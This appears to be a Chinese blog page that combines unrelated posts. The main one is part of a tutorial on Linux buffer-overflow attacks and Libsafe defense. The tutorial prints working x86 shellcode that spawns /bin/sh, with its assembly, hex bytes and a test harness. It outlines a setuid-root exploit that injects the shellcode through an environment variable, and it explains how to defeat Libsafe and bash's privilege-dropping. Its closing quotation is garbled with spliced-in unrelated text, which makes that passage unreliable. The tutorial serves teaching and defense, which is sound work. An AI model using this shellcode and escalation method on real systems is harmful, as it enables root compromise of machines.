void main(){__asm__("  jmp     1f2:  popl    %esi  movl    %esi,0x8(%esi)  xorl    %eax,%eax  movb    %eax,0x7(%esi)  movl    %eax,0xc(%esi)  movb    $0xb,%al  movl    %esi,%ebx  leal    0x8(%esi),%ecx  leal    0xc(%esi),%edx  int     $0x80  xorl    %ebx,%ebx  movl    %ebx,%eax  inc     %eax  int     $0x801:  call    2b  .string \\"/bin/sh\\"");}

图16 最终的shellcode汇编程序shellcodeasm2.c

同样,按照上面的方法再次查看内存中的shellcode代码,如图16所示。我们在图16中再次列出了图1 用到过的shellcode,有兴趣的读者不妨比较一下。

$ gdb shellcodeasm2(gdb) disassemble mainDump of assembler code for function main:0x80482c4 :       push   %ebp0x80482c5 :     mov    %esp,%ebp0x80482c7 :     jmp    0x80482e8 0x80482c9 :     pop    %esi0x80482ca :     mov    %esi,0x8(%esi)0x80482cd :     xor    %eax,%eax0x80482cf :    mov    %al,0x7(%esi)0x80482d2 :    mov    %eax,0xc(%esi)0x80482d5 :    mov    $0xb,%al0x80482d7 :    mov    %esi,%ebx0x80482d9 :    lea    0x8(%esi),%ecx0x80482dc :    lea    0xc(%esi),%edx0x80482df :    int    $0x800x80482e1 :    xor    %ebx,%ebx0x80482e3 :    mov    %ebx,%eax0x80482e5 :    inc    %eax0x80482e6 :    int    $0x800x80482e8 :    call   0x80482c9 0x80482ed :    das0x80482ee :    bound  %ebp,0x6e(%ecx)0x80482f1 :    das0x80482f2 :    jae    0x804835c0x80482f4 :    add    %cl,%cl0x80482f6 :    ret0x80482f7 :    nopEnd of assembler dump.(gdb) x /38xb 0x80482c70x80482c7 :  0xeb 0x1f 0x5e 0x89 0x76 0x08 0x31 0xc00x80482cf :  0x88 0x46 0x07 0x89 0x46 0x0c 0xb0 0x0b0x80482d7 :  0x89 0xf3 0x8d 0x4e 0x08 0x8d 0x56 0x0c0x80482df :  0xcd 0x80 0x31 0xdb 0x89 0xd8 0x40 0xcd0x80482e7 :  0x80 0xe8 0xdc 0xff 0xff 0xff


char shellcode[] ="\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b""\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd""\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh";


图17 shellcode的来历

我猜当你看到这里时一定也像我当初一样已经热血沸腾、迫不及待了吧?那就赶快来试一下吧。

char shellcode[] =      "\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b"      "\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd"      "\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh";


void main(){ int *ret;


ret = (int *)&ret + 2; (*ret) = (int)shellcode;


}

图18 通过程序testsc.c验证我们的shellcode

将testsc.c编译成可执行程序,再运行testsc就可以看到shell了!

$ gcc testsc.c -o testsc$ ./testscbash$

图19描绘了testsc.c程序所作的一切,相信有了前面那么长的铺垫,读者在看到图19时应该已经没有困难了。


图19 程序testsc.c的控制流程

下面我们该回头看看本文开头的那个Linux下缓冲区溢出攻击实例了。攻击程序exe.c利用了系统中存在漏洞的程序toto.c,通过以下步骤向系统发动了一次缓冲区溢出攻击:

  • 通过命令行参数argv[2]得到toto.c程序中缓冲区buffer[96]的地址,并将该地址填充到large_string[128]中;
  • 将我们已经准备好的shellcode拷贝到large_string[128]的开头;
  • 通过环境变量KIRIKA将我们的shellcode注射到buffer[96]中;
  • 当toto.c程序中的main函数返回时,buffer[96]中的shellcode得以运行;由于toto的属主为root,并且具有setuid属性,因此我们得到的shell便具有了root权限。

程 序exe.c的控制流程与图19所示程序testsc.c的控制流程非常相似,唯一的不同在于这次我们的shellcode是寄宿在toto运行 时的堆栈里,而不是在数据段中。之所以不能再将shellcode放在数据段中是因为当我们在程序exe.c中调用execle(3) 运行toto时,进程整个地址空间的映射会根据toto程序头部的描述信息重新设置,而原来的地址空间中数据段的内容已经不能再访问了,因此在程序 exe.c中shellcode是通过环境变量来传递的。

怎么样,是不是感觉传说中的黑客不再像你想象的那样神秘了?暂时不要妄下结 论,在上面的缓冲区溢出攻击实例中,攻击程序exe之所以能够准确的将 shellcode注射到toto的buffer[96]中,关键在于我们在toto程序中打印出了buffer[96]在堆栈中的起始地址。当然,在实 际的系统中,不要指望有像toto这样家有丑事还自揭疮疤的事情发生。

Linux下防御缓冲区溢出攻击的对策

了解了缓冲区溢出攻击的原理,接下来要做的显然就是要找出克敌之道。这里,我们主要介绍一种非常简单但是又比较流行的方法——Libsafe。

在 标准C库中存在着很多像strcpy(3)这种用于处理字符串的函数,它们将一个字符串拷贝到另一个字符串中。对于何时停止拷贝,这些函数通常只 有一个判断标准,即是否遇上了'\'字符。然而这个唯一的标准显然是不够的。我们在上一节刚刚分析过的Linux下缓冲区溢出攻击实例正是利用 strcpy(3)对系统实施了攻击,而strcpy(3)的缺陷就在于在拷贝字符串时没有将目的字符串的大小这一因素考虑进来。像这样的函数还有很多, 比如strcat、gets、scanf、sprintf等等。统计数据表明,在已经发现的缓冲区溢出攻击案例中,肇事者多是这些函数。正是基于上述事 实,Avaya实验室推出了Libsafe。

在现在的Linux系统中,程序链接时所使用的大多都是动态链接库。动态链接库本身就具有 很多优点,比如在库升级之后,系统中原有的程序既不需要重 新编译也不需要重新链接就可以使用升级后的动态链接库继续运行。除此之外,Linux还为动态链接库的使用提供了很多灵活的手段,而预载 (preload)机制就是其中之一。在Linux下,预载机制是通过环境变量LD_PRELOAD的设置提供的。简单来说,如果系统中有多个不同的动态 链接库都实现了同一个函数,那么在链接时优先使用环境变量LD_PRELOAD中设置的动态链接库。这样一来,我们就可以利用Linux提供的预载机制将 上面提到的那些存在安全隐患的函数替换掉,而Libsafe正是基于这一思想实现的。

图20所示的testlibsafe.c是一段非 常简单的程序,字符串buf2[16]中首先被写满了'A',然后再通过strcpy(3)将其拷 贝到buf1[8]中。由于buf2[16]比buf1[8]要大,显然会发生缓冲区溢出,而且很容易想到,由于'A'的二进制表示为0x41,所以 main函数的返回地址被改为了0x41414141。这样当main返回时就会发生Segmentation fault。

#include 


void main(){ char buf1[8]; char buf2[16]; int i;


for (i = 0; i < 16; ++i) buf2[i] = 'A'; strcpy(buf1, buf2);}

图20 测试Libsafe

$ gcc testlibsafe.c -o testlibsafe$ ./testlibsafeSegmentation fault (core dumped)


下面我们就来看一看Libsafe是如何保护我们免遭缓冲区溢出攻击的。首先,在系统中安装Libsafe,本文的附件中提供了其2.0版的安装包。

$ suPassword:# rpm -ivh libsafe-2.0-2.i386.rpmlibsafe  ################################################### exit


至此安装还没有结束,接下来还要正确设置环境变量LD_PRELOAD。

$ export LD_PRELOAD=/lib/libsafe.so.2


下面就可以来试试看了。

$ ./testlibsafeDetected an attempt to write across stack boundary.Terminating /home2/wy/projects/overflow/bof/testlibsafe.  uid=1011  euid=1011  pid=9481Call stack:  0x40017721  0x4001780a  0x8048328  0x400429c6Overflow caused by strcpy()


可 以看到,Libsafe正确检测到了由strcpy()函数导致的缓冲区溢出,其uid、euid和pid,以及进程运行时的Call stack也被一并列出。另外,这些信息不光是在终端上显示,还会被记录到系统日志中,这样系统管理员就可以掌握潜在的攻击来源并及时加以防范。

那 么,有了Libsafe我们就可以高枕无忧了吗?千万不要有这种天真的想法,在计算机安全领域入侵与反入侵的较量永远都不会停止。其实 Libsafe为我们提供的保护可以被轻易的破坏掉。由于Libsafe的实现依赖于Linux系统为动态链接库所提供的预载机制,因此对于使用静态链接 库的具有缓冲区溢出漏洞的程序Libsafe也就无能为力了。

$ gcc -static testlibsafe.c -o testlibsafe_static$ env | grep LDLD_PRELOAD=/lib/libsafe.so.2$ ./testlibsafe_staticSegmentation fault (core dumped)

如果在使用gcc编译时加上-static选项,那么链接时使用的便是静态链接库。在系统已经安装了Libsafe的情况下,可以看到testlibsafe_static再次产生了Segmentation fault。

另 外,正如我们在本文前言中所指出的那样,如果读者使用的是较高版本的bash的话,那么即使您在运行攻击程序exe之后得到了一个新的 shell,您可能会发现并没有得到您所期望的root权限。其实这正是的高版本bash的改进之一。由于近十年来缓冲区溢出攻击屡见不鲜,而且大部分的 攻击对象都是系统中属主为root的setuid程序,以借此获得root权限。因此以root权限运行系统中的程序是十分危险的。为此,在新的 POSIX.1标准中增加了一个名为seteuid(2)的系统调用,其作用在于改变进程的effective uid。而新版本的bash也都纷纷采用了这一技术,在bash启动运行之初首先通过调用seteuid(getuid())将bash的运行权限恢复为 进程属主的权限,这样就出现了我们在高版本bash中运行攻击程序exe所看到的结果。那么高版本的bash就已经无懈可击了吗?其实不然,只要在通过 execve(2)创建shell之前先调用setuid(0)将进程的uid也改为0,bash的这一改进也就徒劳无功了。也就是说,你所要做的就是遵 照前面所讲的系统调用规则将setuid(0)加入到shellcode中,而新版shellocde的这一改进只需要很少的工作量。附件中的 shellcodeasm3.c和exe_pro.c告诉了你该如何去做。

结束语

安 全有两种不同的表现形式,一种是如果你所使用的系统在安全上存在漏洞,但是黑客们对此一无所知,那么你可以暂且认为你的系统是安全的;另一种是黑 客和你都发现了系统中的安全漏洞,但是你会想方设法将漏洞弥补上,使你的系统真正无懈可击。你想要的是哪一种呢?圣经上的一句话给出了这个问题的答案,而 这句话也被刻在了美国中央情报局大厅的墙壁上:“你应当了解真、昂贵到有些浪费的首饰铺、酒店以及豪华像酒店的住宅区、成年人的游乐场与难得的免费公园。将它们贯通的则是曲折的街相,真、昂贵到有些浪费的首饰铺、酒店以及豪华像酒店的住宅区、成年人的游乐场与难得的免费公园。将它们贯通的则是曲折的街相会使你自由。”

参考文献

[1] Aleph One. Smashing The Stack For Fun And Profit.
[2] Pierre-Alain FAYOLLE, Vincent GLAUME. A Buffer Overflow Study -- Attacks & Defenses.
[3] Taeho Oh. Advanced buffer overflow exploit.
[4] 绿盟科技(nsfocus). NSFOCUS 2002年十大安全漏洞, 2002, http://www.nsfocus.net/index.php?act=sec_bug&do=top_ten
[5] 王卓威。基于系统行为模式的缓冲区溢出攻击检测技术。
[6] developerWorks上的《使您的软件运行起来:防止缓冲区溢出》为您列出了标准C库中所有存在安全隐患的函数以及对这些函数的使用建议。
[7] 毛德操,胡希明的《Linux内核源代码情景分析》向读者介绍了Linux下嵌入式汇编语言的语法。
[8] W.Richard Stevens的《Advanced Programming in the UNIX Environment》为您详细介绍了uid和effective uid的概念以及setuid(2)和seteuid(2)等相关函数的用法。
[9] Joel Scambray, Stuart McClure, George Kurtz的《Hacking Exposed》向读者介绍了网络安全的方方面面,从而使读者对网络安全有更多的了解,知道如何去加强安全性。
[10] Intel. Intel Architecture Software Developer's Manual. Intel Corporation.

今天新买了个域名

LinuxRen.Org,58块钱,现在就有两个域名了,我对.net的注册商彻底失望了,打算快到期的时候转注册商,LinuxRen.Org的解析到首页上,LinuxRen.Net直接解析到论坛上面,这样也方便一些,与空间在一个地方买的,兄弟给推荐的人,哈哈,没有这个贱人我都不知道该怎么弄了,网站就打算先这样办下去,慢慢人估计会多起来的,关键要有自己的特点,由于自己水平不高,所以还是在网上招聘版主,嗯,大家一起努力~~~~~~~~~

BIOS和DOS建立的中断向量表

绝对地址 16进制 10进制 有关内容
00H 0H 0 0做除数时处理器发出的中断 溢出条件是:

除法类型 结果
---------------------------------
有符号字 +127
有符号双字 +32767
无符号字 | >255
无符号双字 | >65535
---------------------------------
DOS设有INT 00H处理程序,系统将显示"Divide Overflo",结束当前程序的执行。

04H 1H 1 单步调试时处理器发出的中断
08H 2H 2 非屏蔽中断
0CH 3H 3 调试程序设置断点时处理器发出的中断
10H 4H 4 发生算术溢出时处理器发出的中断
14H 5H 5 调用BIOS的屏幕拷贝操作
18-1FH 6-7H 6-7 保留单元
20H 8H 8 每1/18.2秒定时器发出的中断
24H 9H 9 按压或释放键时产生的中断
28H 0AH 10 保留单元
2CH 0BH 11 通讯设备使用的硬件中断
30H 0CH 12 通讯设备使用的硬件中断
34H 0DH 13 交替打印时硬件产生的中断
38H 0EH 14 软驱操作结束时产生的硬件中断
3CH 0FH 15 打印机发出警告信号时产生的硬件中断
40H 10H 16 BIOS的显示I/O功能调用
44H 11H 17 BIOS设备确认调用
48H 12H 18 BIOS确认内存空间大小的功能调用
4CH 13H 19 BOIS的磁盘I/O功能调用
50H 14H 20 BIOS的RS-232串行I/O功能调用
54H 15H 21 在PC和XT机上是BIOS磁带I/O功能调用。在AT机上是AT扩充服务功能调用。
58H 16H 22 BIOS的键盘I/O功能调用
5CH 17H 23 BIOS的打印机I/O功能调用
60H 18H 24 ROM的BASIC解释和程序功能调用
64H 19H 25 BIOS的装载引导服务调用
68H 1AH 26 BIOS的日期时钟功能调用
6CH 1BH 27 Ctrl+Break处理程序功能调用。当键入Ctrl+Break键时指向可执行的程序入口初 始化BIOS使该向量指向一条TRET指令。用户可修改该向量,使它指向自己的程序。
70H 1CH 28 指向每1/18.2秒时可执行的服务程序的入口。初始化时该向量指向一条IRET指令。用户可修 改该向量,使它指向自己的Ctrl+Break 处理程序。
74H 1DH 29 指向显示控制器初始化参数。BIOS使这个向量指向ROM驻留表。
78H 1EH 30 指向软盘参数表。BIOS使这个向量指向ROM 驻留表,但是DOS把它改为指向DOS的RAM 驻留表。
7CH 1FH 31 指向一点阵表。在这个表中,BIOS可以找到字符集后128个字符的点阵
80H 20H 32 终止程序的DOS功能调用
84H 21H 33 任何种DOS功能调用
88H 22H 34 指向DOS的结束地址
8CH 23H 35 指向DOS的Ctrl+Break处理程序
90H 24H 36 指向DOS的严重错误处理程序
94H 25H 37 DOS绝对磁盘读调用
98H 26H 38 DOS绝对磁盘写调用
9CH 27H 39 程序终止,但仍驻留内存的DOS功能调用
9DH 28H 40 DOS空闲
9EH 29H 41 支持驱动器程序输出
9FH-A1H 2AH-2CH 42-44 保留单元
A2H 2DH 45 DOS构件接口
A3H 2EH 46 COMMAND.COM退回入口
A4H 2FH 47 多路中断(空闲信号)
A5-FFH 30-3FH 48-63 为DOS保留的单元
100H 40H 64 保留单元
104H 41H 65 指向硬盘0的参数表,BOIS使这个向量指向ROM驻留的表。
108-10FH 42-43H 66-67 保留单元
110H 44H 68 PC机使用,用于指向低分辩率图形字符参数表
114H 45H 69 保留单元
118H 46H 70 指向硬盘1的参数表,BIOS使这个向量指向 ROM驻留的表。
11CH 47H 71 保留单元
120H 48H 72 PC机使用,用于把PC机的键盘代码变换为标准的键盘代码。
124H 49H 73 指向键盘增强服务变换表
128-17FH 4A-5FH 74-95 保留单元
180-19FH 60-67H 96-103 为用户程序保留的单元
1A0-1BFH 68-6FH 104-111 未使用
1C0H 70H 112 硬件中断(IRQ--interrupt request) 8--实时时钟中断
1C4H 71H 113 硬件中断9
1C8H 72H 114 硬件中断10
1CCH 73H 115 硬件中断11
1D0H 74H 116 硬件中断12
1D4H 75H 117 硬件中断13--BIOS把这个中断向量重定向为非屏蔽中断(NMI)
1D8H 76H 118 硬件中断14
1DCH 77H 119 硬件中断15
1E0-1FFH 78-7FH 120-127 未使用
200-217H 80-85H 128-133 为BASIC保留
218-3C3H 86-F0H 134-240 BASIC程序运行时提供给BASIC解释程序作用
3C4-#FFH F1-FFH 241-255 未作用

有一种爱叫痛 有一种爱叫放手

有一种爱很凄迷,有一种爱只能远望,有一种爱注定成传奇.......
 有一种爱叫做痛,痛得心脏起了褶子,痛得头脑空洞无物,痛得意志麻木萧瑟......
 有一种爱叫放弃,明知道许多事情是没有答案的,却想寻找一个答案,真的好累......
 有一种爱叫忍让,忍让也是一种爱,以爱的方式善待对方的缺陷,用包容的胸怀宽恕自己的爱人,给他一个悔悟的机会留一个自省的空间于平平淡淡中演绎经典,在无声无语中融洽恩爱.这样即使是不传奇的爱情也将变得永恒,再平淡的婚姻,依然一如既往令人留连.
有一种爱,叫放手.曾经天真的以为不管时间和空间的距离有多长多远,感情一定会恒久不变,因为爱是没有理由的......
 爱不能成为牵绊,所以要选择放手,从容的让彼此走彼此的世界,凡事到极至,伤也会痛.其实爱过就会懂,彼此个性的太过坚强终究会是一起生活的阴影。
 昨日的幸福以成为一种痕迹,两人能携手走完整人生固然很好,可陪上了一段也应心存感激了.
 爱一个人不是要成为所爱人的牵绊,只要心中有爱,生活总是那么美好!
 相距是一种缘,相识,相恋更是一种缘分,缘起而聚,缘尽而散,放手才是真爱.有一种爱叫放手!
 有一种爱,叫离开,曾经以为自己的爱情能够长久,曾经以为真心的付出就能换来幸福,其实错了......
 爱情给的唯一的东西就是背叛,无情的背叛!曾经是那么相爱的两个人,转眼陌路,留下的是残缺不全的记忆和心痛.
 没有想到结局会是这样,曾经的山盟海誓,曾经的天长地久,转眼都成了飞灰。
 经常惊醒于午夜梦回的黑暗中,我的心都好痛,我思念一个人的疼痛,看着空中的星星,想着远方属于你的夜,你还好吗?一直都快乐吗?没有我在你身边是不是有另外一个人去关心你,爱你呢?
 我现在唯一的愿望只是希望再见你一面,但我又怕见你,怕见到你,我的心又会再一次的被捏碎.我只有对自己说不要再去想他,不要再想了,虽然他的影子从未离开过。
生活还是要过的,其实有种爱叫离开,再见了,我的爱人......
 有一种爱,我们不能称之为爱情,虽然有同样的心动,同样的怀想,同样乍然相见的喜悦,依依不舍的眷恋,但世间总有一种约束,让心思沉静,让感情不再漂泊,依然可以在午夜梦回事心生柔情,依然可以相信自己的完美与可爱,在这些温柔的情愫里。
  有一种爱,可以默默的爱,默默的理解,默默的在心里装满祝福,挥一挥手,让春草缠绵,落江成阵,就是有这样的感情啊!飘荡成缠绵而温暖的空气,就是在这样 无心的眷恋里,我们认识自己也认识世间,就是有这样无缘而有情的瞬间,让我们轻轻的叹息,深深的爱,虽然我们相爱,但不能称之为爱情,多想让爱发出声响 啊!可那是一种毁灭,善良绝对不允许这样,多想让爱明白啊!可怎么人心看着爱有为难,感情也不能饶恕爱的胡来。
 就这样默默的去爱,永远放在心头来爱;当风吹来的时候,就让湖水激动地涌出堤岸,一点点就已经足够了,就象喝第一口茶水,才能品出味道.只要轻盈的湖水永远不下沉,只要坚固的堤岸永远拦得住湖水,相信湖水总是会泛出激情,堤岸也总是能感到坚强。
 有一种爱,永远难以启齿,可这种爱情来得持久,来得绝美......

第一次见老头

昨晚第一次见公司的CEO,给我们这些新进来的人开了个会,美籍华人,好像生于湖南,挺牛气的,自我介绍就说SQL框架是由他带队设计开发的,厉害!当年的IBM全球副总裁,普林斯顿大学博士毕业, 是美国电脑界声望最高、职务最高的华人 。想当初公司刚刚成立的时候就是靠的他的个人魅力吸引来了一大帮的牛人,短短1年半已经很有名气了,真得不容易。然后就是一些慷慨激昂的话,归根结底就是让我们这些人工作再苦一些,再累一些...听到最后都不耐烦了,和小学时候听校长报告一样,没啥区别,一个字:累!

在网上找的一些资料:

*刘英武
1941年出生于湖南长沙
1965年获台湾大学电机学士学位。
1969年获美国普林斯顿大学电机学和计算机学博士学位。
职业:
1955年至今:威科公司(Walket Interactive Systems)董事长、总裁和首席执行官
1993——1995年:凯登斯(Cadence Design Systems)首席执行官
1989——1992年:宏基关系企业决经理与宏基北美洲和欧洲总公司董事长和首席执行官
1969——1989年:IBM公司(以下摘要)
应用软件事业部总经理
办公室系统副总裁
公司管理委员会秘书长
通讯软件部主任电脑研究部经理
兼任:加州影片委员会委员
cadence、Triden、ASE三家公司董事

Pages: Prev 1 2 3 ...78 79 80 81 82 83 84 85 86 Next